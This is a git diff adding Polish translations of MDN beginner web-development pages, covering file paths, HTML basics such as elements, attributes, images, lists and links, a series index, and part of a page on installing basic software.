+<p>Kilka ogólnych reguł tworzenia ścieżek:</p>
+
+<ul>
+ <li>Aby wskazać plik znajdujący się w tym samym katalogu, co plik HTML, który się do niego odwołuje, po prostu podaj nazwę pliku, np. <code>moj-obraz.jpg</code>.</li>
+ <li>Aby wskazać plik znadujący się w podkatalogu, podaj nazwę katalogu, następnie slash i nazwę pliku, np. <code>podkatalog/moj-obraz.jpg</code>.</li>
+ <li>Aby wskazać plik znadujący się <strong>powyżej</strong> odwołującego się do niego pliku HTML, napisz dwie kropki. Przykładowo, jeśli <code>index.html</code> jest w podfolderze katalogu <code>test-site</code> a <code>moj-obraz.jpg</code> jest wewnątrz folderu <code>test-site</code>, możesz się do niego odnieść pisząc <code>../moj-obraz.jpg</code>.</li>
+ <li>Możesz łączyć powyższe reguły na różne sposoby, np <code>../podkatalog/inny-podkatalog/moj-obraz.jpg</code>.</li>
+</ul>
+
+<p>Jak narazie to wszystko co powinieneś o tym wiedzieć.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: W systemie Windows w ścieżkach do plików używa się znaku backslash a nie slash, enp. <code>C:\windows</code>. To jest nieistotne dla HTML — nawet jeśli tworzysz strony na Windowsie, nadal powinieneś używać w ścieżkach znaku slash.</p>
+</div>
+
+<h2 id="Co_jeszcze_należy_zrobić">Co jeszcze należy zrobić?</h2>
+
+<p>Na razie to tyle, a twoja struktura plików i folderów powinna wyglądać mniej więcej tak:</p>
+
+<p><img alt="A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file" src="https://mdn.mozillademos.org/files/9231/file-structure.png" style="display: block; height: 577px; margin: 0px auto; width: 929px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/pl/learn/getting_started_with_the_web/html_basics/index.html b/files/pl/learn/getting_started_with_the_web/html_basics/index.html
new file mode 100644
index 0000000000..1b7835d180
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/html_basics/index.html
@@ -0,0 +1,223 @@
+---
+title: HTML podstawy
+slug: Learn/Getting_started_with_the_web/HTML_basics
+translation_of: Learn/Getting_started_with_the_web/HTML_basics
+---
+<ol>
+ <li>
+ <h2 id="LearnSidebar">{{LearnSidebar}}</h2>
+ </li>
+</ol>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>HTML (<strong>H</strong>yper<strong>t</strong>ext <strong>M</strong>arkup <strong>L</strong>anguage) jest to kod używany do tworzenia struktury strony i jej zawartości. <span id="result_box" lang="pl"><span>Na przykład treść może być uporządkowana w obrębie zestawu akapitów, listy punktowanych punktów lub tabel obrazów i danych.</span> <span>Jak sugeruje tytuł, ten artykuł daje podstawy do zrozumienia HTML i jego funkcji.</span></span></p>
+</div>
+
+<h2 id="Czym_właściwie_jest_HTML">Czym właściwie jest HTML?</h2>
+
+<p>HTML nie jest językiem programowania; jest <em>językiem znaczników</em> (ang. <em>markup language</em>). HTML składa się z serii znaczników (tagów), których używa się do zamknięcia, <em>opakowania </em>różnych części treści, tak aby wyglądały i/lub działały w określony sposób. Z pomocą tagów możesz ze słów czy obrazów zrobić linki do innych stron, sprawić by były napisane kursywą, większą czcionką, wytłuścić je itd. Na przykład weźmy poniższą treść:</p>
+
+<pre class="notranslate">My cat is very grumpy</pre>
+
+<p>Jeśli chcemy utworzyć z niej paragraf, wystarczy użyć odpowiednich tagów:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;My cat is very grumpy&lt;/p&gt;</pre>
+
+<h3 id="Anatomia_elementu_HTML">Anatomia elementu HTML</h3>
+
+<p>Przyjrzyjmy się nieco dokładniej jak tworzymy paragraf.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>Główne składniki naszego elementu to:</p>
+
+<ol>
+ <li><strong>Tag otwierający:</strong> Znacznik ten zawiera nazwę elementu (w tym wypadku "p") otoczony parą ostrych nawiasów (<em>znak mniejszości i większości na klawiaturze - przyp. tłum.</em>)</li>
+ <li><strong>Tag zamykający:</strong> Jest w zasadzie taki sam jak tag otwierajacy z wyjątkiem tego, że obowiązkowo musi zawierać znak slash przed nazwą tagu. Oznacza to, że w tym miejscu kończy się dany element. Jeśli w kodzie nie umieścisz znaku końca elementu, co jest częstym błędem poczatkujących twórców stron, może to spowodować nieoczekiwane błędy podczas wyświetlania i działania strony.</li>
+ <li><strong>Zawartość:</strong> Po prostu treść elementu, w tym wypadku jest to tekst.</li>
+ <li><strong>Element:</strong> Element to całość tej konstrukcji: tag otwierający plus zawartość plus tag zamykajacy.</li>
+</ol>
+
+<p>Elementy mogą zawierać atrybuty, np:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>Atrybuty zawierają dodatkowe informacje o elemencie, które nie są widoczne dla odwiedzających stronę. W tym przykładzie <code>class</code> jest <em>nazwą</em> atrybutu, a <code>editor-note</code> jest jego <em>wartością</em>. Atrybut <code>class</code> pozwala nadać elementowi indentyfikator, który potem może być użyty do nadania stylu elementowi przez CSS lub do innych celów.</p>
+
+<p>Atrybut zawsze powinien mieć:</p>
+
+<ol>
+ <li>Spację między nazwą tagu a nazwą atrybutu (lub innego atrybutu, jeśli dany element ma więcej atrybutów).</li>
+ <li>Nazwę atrybutu oraz znak równości.</li>
+ <li>Wartość podaną w cudzysłowie.</li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Uwaga</strong>: Proste wartości atrybutów, które nie zawierają białych znaków ASCII (ani żadnego ze znaków <code>"</code> <code>'</code> <code>`</code> <code>=</code> <code>&lt;</code> <code>&gt;</code> ) mogą pozostać bez cudzysłowów, ale zaleca się używać cudysłowów dla wszystkich wartości atrybutów, ponieważ czyni to kod bardziej spójnym i zrozumiałym.</p>
+</div>
+
+<h3 id="Zagnieżdżanie_elementów">Zagnieżdżanie elementów</h3>
+
+<p>Możesz elementy umieszczać wewnąrz innych elementów kodu HTML — nazywa się to <strong>zagnieżdżaniem</strong>. Jeśli chcemy podkreślić, że nasz kot jest <strong>bardzo</strong> gderliwy, możemy otoczyć slowo "bardzo" tagiem wytluszczającym {{htmlelement("strong")}}:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;My cat is &lt;strong&gt;very&lt;/strong&gt; grumpy.&lt;/p&gt;</pre>
+
+<p>Jednak musisz upewnić się, że elementy te są odpowiednio zagnieżdżone: w powyższym przykładzie najpierw otwieramy element {{htmlelement("p")}}, następnie element {{htmlelement("strong")}}, dalej musimy zamknąć element {{htmlelement("strong")}} a dopiero potem {{htmlelement("p")}}. Poniższy przykład jest błędny:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;p&gt;My cat is &lt;strong&gt;very grumpy.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p>Elementy muszą zaczynać się i kończyć we właściwy sposób, tak aby jeden zawierał się w drugim. Jeśli elementy będą niewłaściwie domknięte, jak w przykładzie wyżej, przeglądarka będzie próbowała zgadnąć co miałeś na myśli, co może prowadzić do nieoczekiwanych rezultatów. Nie rób tak!</p>
+
+<h3 id="Elementy_puste">Elementy puste</h3>
+
+<p>Czasem elementy nie mają zawartości i nazwyamy je <strong>elementami pustymi</strong>. Weźmy element {{htmlelement("img")}}, który używaliśmy wcześniej w naszym kodzie HTML:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
+
+<p>Element ten zawiera dwa atrybuty, ale nie posiada tagu zamykającego <code>&lt;/img&gt;</code>ani żadnej treści. To dlatego, że element ten nie opakowuje żadnej treści, której miałby nadawać wygląd. Jego zadaniem jest załączenie do strony obrazka, który pojawi się na stronie.</p>
+
+<h3 id="Anatomia_dokumentu_HTML">Anatomia dokumentu HTML</h3>
+
+<p><span id="result_box" lang="pl"><span>Na razie tyle podstaw poszczgólnych elementów. Teraz przyjrzymy się, w jaki sposób są one łączone, aby utworzyć całą stronę HTML.</span> <span>Powróćmy do kodu, który umieściliśmy w naszym przykładzie</span></span> <code>index.html</code> <span id="result_box" lang="pl"><span>(który poznaliśmy po raz pierwszy w artykule </span></span><a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Struktura plików witryny</a>):</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;My test page&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;img src="images/firefox-icon.png" alt="My test image"&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Mamy tutaj:</p>
+
+<ul>
+ <li><code>&lt;!DOCTYPE html&gt;</code> — <span id="result_box" lang="pl"><span>doctype czyli typ dokumentu.</span> <span>Dawno temu, gdy HTML był jeszcze młody (około 1991/2 roku), doctypy miały działać jako linki do zestawu reguł, których strona HTML musiała przestrzegać, aby była uważana za poprawną HTML, co mogło służyć do automatycznego sprawdzania błędów i innych</span> <span>przydatnych rzeczy.</span> <span>Jednak w dzisiejszych czasach nikt nie dba o nie, a tak naprawdę jest tylko historycznym artefaktem, który trzeba uwzględnić, aby wszystko działało dobrze.</span> <span>Na razie to wszystko, co musisz wiedzieć.</span></span></li>
+ <li><code>&lt;html&gt;&lt;/html&gt;</code> — element {{htmlelement("html")}} zawiera całą treść strony i czasem nazwany jest elementem bazowym (ang. root element). Wskazuje, gdzie zaczyna i kończy się kod HTML.</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code> — element {{htmlelement("head")}} to tzw. nagłówek strony. <span id="result_box" lang="pl"><span>Ten element działa jak kontener dla wszystkich elementów, które chcesz umieścić na stronie HTML, ale nie w treści, które wyświetlasz przeglądającym twoją stronę.</span> <span>Obejmuje to takie rzeczy jak </span></span> {Glossary("keyword", "keywords")}} <span lang="pl"><span> i opis strony, który ma się pojawiać w wynikach wyszukiwania, styl CSS, stylowanie naszej treści, deklaracje zestawu znaków, użytych skryptow i inne.</span></span></li>
+ <li><code>&lt;body&gt;&lt;/body&gt;</code> — element {{htmlelement("body")}}. <span id="result_box" lang="pl"><span>Zawiera <em>całą</em> zawartość, która ma być wyświetlana użytkownikom internetowym podczas odwiedzania Twojej strony, niezależnie od tego, czy chodzi o tekst, obrazy, wideo, gry, odtwarzalne ścieżki dźwiękowe czy cokolwiek innego.</span></span></li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code> — <span id="result_box" lang="pl"><span>ten element ustawia zestaw znaków, którego twój dokument powinien używać do wyświetlenia treści strony. W tym wypadku jest to UTF-8, który zawiera większość znaków z większości ludzkich języków pisanych.</span> <span>Zasadniczo jest w stanie obsłużyć dowolne treści tekstowe, które można na nim umieścić.</span> <span>Nie ma powodu, aby tego nie ustawiać, a to pomoże uniknąć późniejszych problemów.</span></span></li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code> — element {{htmlelement("title")}}.  Ustawia<span id="result_box" lang="pl"><span> tytuł strony, który jest tytułem wyświetlanym na karcie przeglądarki, do której wczytywana jest strona. Służy ona również do opisu strony po dodaniu jej do zakładek ulubionych, a także pokazuje tutuł strony w wynikach wyszukiwania.</span></span></li>
+</ul>
+
+<h2 id="Obrazy">Obrazy</h2>
+
+<p>Zajmijmy się teraz ponownie elementem {{htmlelement("img")}}:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
+
+<p>Jak powiedzieliśmy wcześniej, ten element odpowiada za wyświetlanie obrazu na stronie. Atrybut <code>src</code> (źródło - ang. source) wskazuje ścieżkę do pliku z obrazem.</p>
+
+<p>Mamy również załączony atrybut <code>alt</code> (ang. alternative). Ten atrybut określa jaki napis powinien pojawić się na stronie, jeśli użytkownikowi nie został z jakiegoś powodu wyświetlony obraz:</p>
+
+<ol>
+ <li>Użytkownicy niewidzący lub z poważnymi wadami wzroku często korzystają z narzędzi nazywanymi czytnikami ekranu, które pozwalają im odczytać tekst alternatywny.</li>
+ <li>Czasem coś pójdzie nie tak i obraz nie jest wyświetlany na stronie. Na przykład spróbuj zmienić ścieżkę wewnątrz atrybutu <code>src</code> na błędną. Jeśli zapiszesz i ponownie załadujesz stronę, powinieneś zobaczyć coś takiego zamiast obrazu:</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9349/alt-text-example.png" style="display: block; height: 36px; margin: 0px auto; width: 108px;"></p>
+
+<p>Kluczowe dla atrybutu <code>alt</code> jest użycie dobrego opisu obrazka. Piszący tekst alternatywny powinien zapewnić czytelnikowi wystarczającą ilość informacji, aby ten mógł dobrze zrozumieć co przekazuje obraz. W tym przykładzie nasz alternatywny tekst "Mój obraz testowy" wcale nie jest dobry. Znacznie lepiej dla naszego obrazka z logo Firefoxa będzie napisać "Logo Firefoxa: płonący lis otaczający Ziemię".</p>
+
+<p>Teraz spróbuj wymyślić dobre teksty alternatywne dla swojego obrazka.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Dowiedz się więcej na temat dostępności na stronie <a href="/en-US/docs/Web/Accessibility">MDN's Accessibility landing page</a>.</p>
+</div>
+
+<h2 id="Tagowanie_tekstu">Tagowanie tekstu</h2>
+
+<p>W tej sekcji omowimy podstawowe znaczniki HTML do tagowania tekstu strony.</p>
+
+<h3 id="Nagłówki">Nagłówki</h3>
+
+<p><span id="result_box" lang="pl"><span>Elementy nagłówków pozwalają określić, że określone części treści są nagłówkami - lub podtytułami - treści.</span> <span>W taki sam sposób, w jaki książka ma tytuł główny, tytuły rozdziałów i napisy, może również wyglądać dokument HTML.</span> <span>HTML zawiera sześć poziomów nagłówków, {{htmlelement ("h1")}} - {{htmlelement ("h6")}}, chociaż najczęściej będziesz używać tylko co najwyżej 3-4 z nich:</span></span></p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My main title&lt;/h1&gt;
+&lt;h2&gt;My top level heading&lt;/h2&gt;
+&lt;h3&gt;My subheading&lt;/h3&gt;
+&lt;h4&gt;My sub-subheading&lt;/h4&gt;</pre>
+
+<p>Teraz spróbuj dodać odpowiedni nagłówej do twojej strony w pliku HTML, tuż nad elementem {{htmlelement("img")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Zobaczysz, że Twój nagłówek na poziomie 1 ma już ustawiony niejawny styl. Nie używaj elementów nagłówka po to, aby uzyskać tekst większy lub pogrubiony, ponieważ są one używane z powodów <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/HTML#Text_content">semantycznych</a> i <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Why_do_we_need_structure">innych przyczyn, takich jak SEO</a>. Spróbuj utworzyć znaczącą sekwencję nagłówków na swoich stronach, bez pomijania poziomów.</p>
+</div>
+
+<h3 id="Paragrafy">Paragrafy</h3>
+
+<p>Jak wyjaśniono wcześniej, elementy {{htmlelement("p")}} służą do formatowania parafrafów tekstu; <span id="result_box" lang="pl"><span>będziesz ich często używać podczas oznaczania zwykłej treści tekstowej:</span></span></p>
+
+<pre class="brush: html notranslate">&lt;p&gt;This is a single paragraph&lt;/p&gt;</pre>
+
+<p>Dodaj do swojego tekstu na stronie jeden lub więcej paragrafów (powinieneś go mieć po lekturze artykułu <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like"><em>Jak powinna wyglądać twoja strona internetowa?</em></a>). Paragrafy umieść bezpośrednio pod elementem {{htmlelement("img")}}.</p>
+
+<h3 id="Listy">Listy</h3>
+
+<p>Wiele stron internetowych posiada listy, a HTML ma odpowiedni element do ich utworzenia. Tworzenie listy zawsze wymaga przynajmniej dwóch elementów. Najpopularnieszymi typami list są lista numerowana i lista wypunktowana</p>
+
+<ol>
+ <li><strong>Lista wypunktowana</strong> jest rodzajem listy, gdzie kolejność jej elementów nie ma znaczenia, np. lista zakupów. Aby ją utworzyć użyj znacznika {{htmlelement("ul")}} (ang. unordered list).</li>
+ <li><strong>Lista numerowana</strong><strong> </strong>jest rodzajem listy, gdzie kolejność jej elementów ma znaczenie, np. przepis na coś. Do tego rodzaju listy używany jest znacznik {{htmlelement("ol")}} (ang. ordered list).</li>
+</ol>
+
+<p>Każdy element listy musi być umieszczony w swoim znaczniku {{htmlelement("li")}} (ang. list item).</p>
+
+<p>Na przykład, jeśli chcielibyśmy utworzyć listę z poniższego paragrafu:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;At Mozilla, we’re a global community of technologists, thinkers, and builders working together ... &lt;/p&gt;</pre>
+
+<p>Możemy to zrobić w następujący sposób:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;At Mozilla, we’re a global community of&lt;/p&gt;
+
+&lt;ul&gt;
+ &lt;li&gt;technologists&lt;/li&gt;
+ &lt;li&gt;thinkers&lt;/li&gt;
+ &lt;li&gt;builders&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;working together ... &lt;/p&gt;</pre>
+
+<p>Spróbuj dodać oba rodzaje list do swojej przykładowej strony.</p>
+
+<h2 id="Linki_odnośniki">Linki (odnośniki)</h2>
+
+<p>Odnośniki są bardzo ważne — są tym co sprawia, że Sieć jest Siecią! Aby utworzyć odnośnik musimy użyć prostego elementu — {{htmlelement("a")}} — "a" jest skrótem od angielskiego "anchor", czyli kotwica. Aby zrobić z twojego teksu w paragrafie link, wykonaj następujące czynności:</p>
+
+<ol>
+ <li>Wybierz jakiś tekst. My wybraliśmy "Mozilla Manifesto".</li>
+ <li>Umieść go wewnątrz elementu {{htmlelement("a")}}:
+ <pre class="brush: html notranslate">&lt;a&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+ <li>Nadaj elementowi {{htmlelement("a")}} atrybut <code>href</code>:
+ <pre class="brush: html notranslate">&lt;a href=""&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+ <li>Wypełnij atrybut <code>href</code> odpowiednią zawartością, tj. adresem strony do jakiej twoj odnośnik ma prowadzić:
+ <pre class="brush: html notranslate">&lt;a href="https://www.mozilla.org/en-US/about/manifesto/"&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+</ol>
+
+<p>Możesz otrzymać nieoczekiwany rezultat jeśli w adresie pominiesz część <code>https://</code> lub <code>http://</code>, zwana  <em>protokołem.</em> Po dodaniu linku przetestuj stronę czy odnośnik prowadzi tam gdzie chciałeś.</p>
+
+<div class="note">
+<p><code>href</code> może się wydawać niejasnym wyborem dla nazwy atrybutu. Jeśli masz problem z zapamiętaniem go, pamietaj że oznacza on hipertekstową referencję <em>(</em>ang.<em> <strong>h</strong>ypertext <strong>ref</strong>erence</em>)</p>
+</div>
+
+<p>Jeśli tego jeszcze nie zrobiłeś, dodaj odnośnik na twojej stronie.</p>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Jeśli podążałeś za instrukcjami zawartymi w tym artykule, obecnie twoja strona powinna wyglądać podobnie do tej poniżej (możesz ją również zobaczyć <a href="http://mdn.github.io/beginner-html-site/">tutaj</a>):<br>
+ <br>
+ <s><img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></s></p>
+
+<p>Jeśli gdzieś po drodze utknąłeś, zawsze możesz porównać swój kod z  GitHub <a href="https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html">ukończonymi przykładami</a> na GitHubie.</p>
+
+<p>Tutaj jedynie prześlizgnęliśmy się po powierzchni HTMLa. Aby dowiedzieć się więcej przejdź do strony <a href="/en-US/Learn/HTML">Nauka HTMLa </a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/pl/learn/getting_started_with_the_web/index.html b/files/pl/learn/getting_started_with_the_web/index.html
new file mode 100644
index 0000000000..622e465103
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/index.html
@@ -0,0 +1,59 @@
+---
+title: Rozpocznij pracę z Siecią
+slug: Learn/Getting_started_with_the_web
+tags:
+ - Beginner
+ - CSS
+ - Design
+ - Guide
+ - HTML
+ - Index
+ - NeedsTranslation
+ - TopicStub
+ - publishing
+ - theory
+translation_of: Learn/Getting_started_with_the_web
+---
+<div>{{LearnSidebar}}</div>
+
+<div class="summary">
+<p><em>Rozpocznij pracę z Siecią</em> to zwięzła seria wprowadzająca w praktyczne aspekty tworzenia stron internetowych. Skonfigurujesz narzędzia potrzebne do zbudowania prostej strony internetowej i opublikowania własnego prostego kodu.</p>
+</div>
+
+<h2 id="Historia_twojej_pierwszej_strony_internetowej">Historia twojej pierwszej strony internetowej</h2>
+
+<p>Stworzenie profesjonalnej strony internetowej to dużo pracy, więc jeśli dopiero zaczynasz tworzenie stron internetowych, zachęcamy do rozpoczęcia od czegoś małego. Nie zbudujesz od razu drugiego Facebooka, ale nie jest trudno zbudować własną, prostą stronę internetową, więc zaczniemy od tego.</p>
+
+<p>Przeglądając poniższe artykuły w sugerowanej kolejności, przejdziesz od zera do pierwszej strony internetowej. Zacznijmy naszą podróż!</p>
+
+<h3 id="Instalacja_podstawowego_oprogramowania"><a href="/pl/Learn/Getting_started_with_the_web/Installing_basic_software">Instalacja podstawowego oprogramowania</a></h3>
+
+<p>Jeśli chodzi o narzędzia do budowy strony internetowej, jest wiele do wyboru. Jeżeli dopiero zaczynasz, możesz być zdezorientowany przez szereg edytorów kodu, frameworków i narzędzi do testowania. <a href="/pl/Learn/Getting_started_with_the_web/Installing_basic_software">Instalując podstawowe oprogramowanie</a> pokazujemy ci krok po kroku, jak zainstalować tylko takie oprogramowanie, które jest Ci potrzebne do rozpoczęcia podstawowego tworzenia stron internetowych.</p>
+
+<h3 id="Jak_będzie_wyglądała_twoja_strona_internetowa"><a href="/pl/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Jak będzie wyglądała twoja strona internetowa?</a></h3>
+
+<p>Zanim zaczniesz pisanie kodu dla swojej strony internetowej, należy ją najpierw zaplanować. Jakie informacje prezentujesz? Jakich czcionek i kolorów używasz? <a href="/pl/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like">Jak będzie wyglądać twoja strona internetowa?</a> Przedstawiamy prostą metodę, którą możesz zastosować, aby zaplanować treść i wygląd witryny.</p>
+
+<h3 id="Radzenie_sobie_z_plikami"><a href="/pl/Learn/Getting_started_with_the_web/Dealing_with_files">Radzenie sobie z plikami</a></h3>
+
+<p>Strona składa się z wielu plików: treści tekstowych, kodu, arkuszy stylów, treści multimedialnych itp. Kiedy budujesz stronę internetową, musisz zebrać te pliki w sensowną strukturę i upewnić się, że mogą się one między sobą komunikować. Sekcja <a href="/pl/Learn/Getting_started_with_the_web/Dealing_with_files">Radzenie sobie z plikami</a> wyjaśnia, jak utworzyć sensowną strukturę plików dla swojej strony internetowej i jakich zagadnień trzeba mieć świadomość.</p>
+
+<h3 id="Podstawy_HTML"><a href="/pl/Learn/Getting_started_with_the_web/HTML_basics">Podstawy HTML</a></h3>
+
+<p>Hipertekstowy język znaczników (HTML) to kod, którego używasz do strukturyzowania treści internetowych i nadawania im znaczenia i celu. Na przykład, czy zawartość mojej strony to zestaw akapitów, czy wypunktowana lista? Czy na mojej stronie znajdują się obrazy? Czy mam tabelę danych? Nie przytłaczając cię, <a href="/pl/Learn/Getting_started_with_the_web/HTML_basics">podstawy HTML</a> zapewniają wystarczającą ilość informacji, aby zapoznać Cię z HTML.</p>
+
+<h3 id="Podstawy_CSS"><a href="/pl/Learn/Getting_started_with_the_web/CSS_basics">Podstawy CSS</a></h3>
+
+<p>Kaskadowe arkusze stylów (CSS) to kod, którego używasz do stylizacji swojej strony internetowej. Na przykład, czy chcesz, aby tekst był czarny, czy czerwony? W którym miejscu na ekranie ma być wyświetlana dana zawartość strony? Jakie obrazy i kolory tła powinny być użyte do udekorowania twojej strony? <a href="/pl/Learn/Getting_started_with_the_web/CSS_basics">Podstawy CSS</a> przeprowadzą Cię przez to, czego potrzebujesz, aby zacząć.</p>
+
+<h3 id="Podstawy_JavaScript"><a href="/pl/Learn/Getting_started_with_the_web/JavaScript_basics">Podstawy JavaScript</a></h3>
+
+<p>JavaScript to język programowania, którego używasz do dodawania interaktywnych funkcji do swojej strony internetowej. Przykładami mogą być gry, rzeczy, które zdarzają się po naciśnięciu przycisków lub wprowadzeniu danych w formularzach, dynamiczne efekty stylizacji, animacje i wiele innych. <a href="/pl/Learn/Getting_started_with_the_web/JavaScript_basics">Podstawy JavaScript</a> dają ci wyobrażenie o tym, co jest możliwe z tym ekscytującym językiem i jak zacząć.</p>
+
+<h3 id="Publikowanie_swojej_strony_internetowej"><a href="/pl/Learn/Getting_started_with_the_web/Publishing_your_website">Publikowanie swojej strony internetowej</a></h3>
+
+<p>Po zakończeniu pisania kodu i organizowania plików, które składają się na twoją stronę internetową, musisz umieścić to wszystko w Internecie, aby ludzie mogli ją znaleźć.<a href="/pl/Learn/Getting_started_with_the_web/Publishing_your_website">Publikowanie swojej witryny</a> opisuje, jak przy minimalnym wysiłku można uzyskać prosty przykładowy kod online.</p>
+
+<h3 id="Jak_działa_sieć"><a href="/pl/Learn/Getting_started_with_the_web/Jak_dziala_Siec">Jak działa sieć</a></h3>
+
+<p>Kiedy wchodzisz na swoją ulubioną stronę internetową, w tle dzieje się wiele skomplikowanych rzeczy, o których możesz nie wiedzieć. <a href="/pl/Learn/Getting_started_with_the_web/How_the_Web_works">Sposób działania sieci</a> określa, co dzieje się podczas przeglądania strony internetowej na komputerze.</p>
diff --git a/files/pl/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/pl/learn/getting_started_with_the_web/installing_basic_software/index.html
new file mode 100644
index 0000000000..86fd252681
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/installing_basic_software/index.html
@@ -0,0 +1,80 @@
+---
+title: Instalacja podstawowego oprogramowania
+slug: Learn/Getting_started_with_the_web/Installing_basic_software
+tags:
+ - Beginner
+ - Browser
+ - Learn
+ - Setup
+ - Tools
+ - WebMechanics
+ - 'l10n:priority'
+ - text editor
+translation_of: Learn/Getting_started_with_the_web/Installing_basic_software
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>W sekcji <em>Instalacja podstawowego oprogramowania</em> pokazujemy, jakie narzędzia są potrzebne do podstawowego tworzenia stron internetowych i jak je prawidłowo zainstalować.</p>
+</div>
+
+<h2 id="Jakich_narzędzi_używają_profesjonaliści">Jakich narzędzi używają profesjonaliści?</h2>
+
+<ul>
+ <li><strong>Komputer</strong>. Może wydaje się to oczywiste dla niektórych ludzi, ale część z Was czyta ten artykuł w telefonie lub na komputerze w bibliotece. Dla poważnego tworzenia stron internetowych, lepiej jest zainwestować w komputer stacjonarny lub laptop z systemem Windows, macOS lub Linux.</li>
+ <li><strong>Edytor tekstowy</strong>, do pisania kodu. Może to być edytor tekstowy (np. <a href="https://code.visualstudio.com/">Visual Studio Code</a>, <a href="https://notepad-plus-plus.org/">Notepad++</a>, <a href="https://www.sublimetext.com/">Sublime Text</a>, <a href="https://atom.io/">Atom</a>, <a href="https://www.gnu.org/software/emacs/">GNU Emacs</a>, lub <a href="https://www.vim.org/">VIM</a>), lub edytor hybrydowy (np. <a href="https://www.adobe.com/pl/products/dreamweaver.html">Dreamweaver</a> lub <a href="https://www.jetbrains.com/webstorm/">WebStorm</a>). Edytory dokumentów biurowych nie nadają się do tego celu, ponieważ opierają się na ukrytych elementach, które zakłócają działanie silników renderujących używanych przez przeglądarki internetowe.</li>
+ <li><strong>Przeglądarki internetowe</strong>, do testowania kodu. Obecnie najczęściej używanymi przeglądarkami internetowymi są <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/">Chrome</a>, <a href="https://www.opera.com/pl">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, <a href="https://support.microsoft.com/pl-pl/help/17621/internet-explorer-downloads">Internet Explorer</a> i <a href="https://www.microsoft.com/pl-pl/edge">Microsoft Edge</a>. Należy także sprawdzić, jak twoja strona działa na urządzeniach mobilnych i na starszych przeglądarkach, których wciąż mogą używać twoi odbiorcy (takich jak IE 8–10.) <a href="https://lynx.browser.org/">Lynx</a>, terminalowa przeglądarka tekstowa, jest świetna do sprawdzenia, jak Twoja strona jest doświadczana przez użytkowników z wadami wzroku.</li>
+ <li><strong>Edytor graficzny</strong>, taki jak <a href="https://www.gimp.org/">GIMP</a>, <a href="https://www.figma.com/">Figma</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, <a href="https://www.adobe.com/pl/products/photoshop.html">Photoshop</a>, lub <a href="https://www.adobe.com/pl/products/xd.html">XD</a>, do tworzenia obrazów lub grafiki dla swoich stron internetowych.</li>
+ <li><strong>System kontroli wersji</strong>, do zarządzania plikami na serwerach, współpracy przy projekcie z zespołem, współdzielenia kodu i zasobów oraz unikania konfliktów edycyjnych. Obecnie <a href="http://git-scm.com/">Git</a> jest najpopularniejszym systemem kontroli wersji, wraz z serwisem hostingowym <a href="https://github.com/">GitHub</a> lub <a href="https://gitlab.com">GitLab</a>.</li>
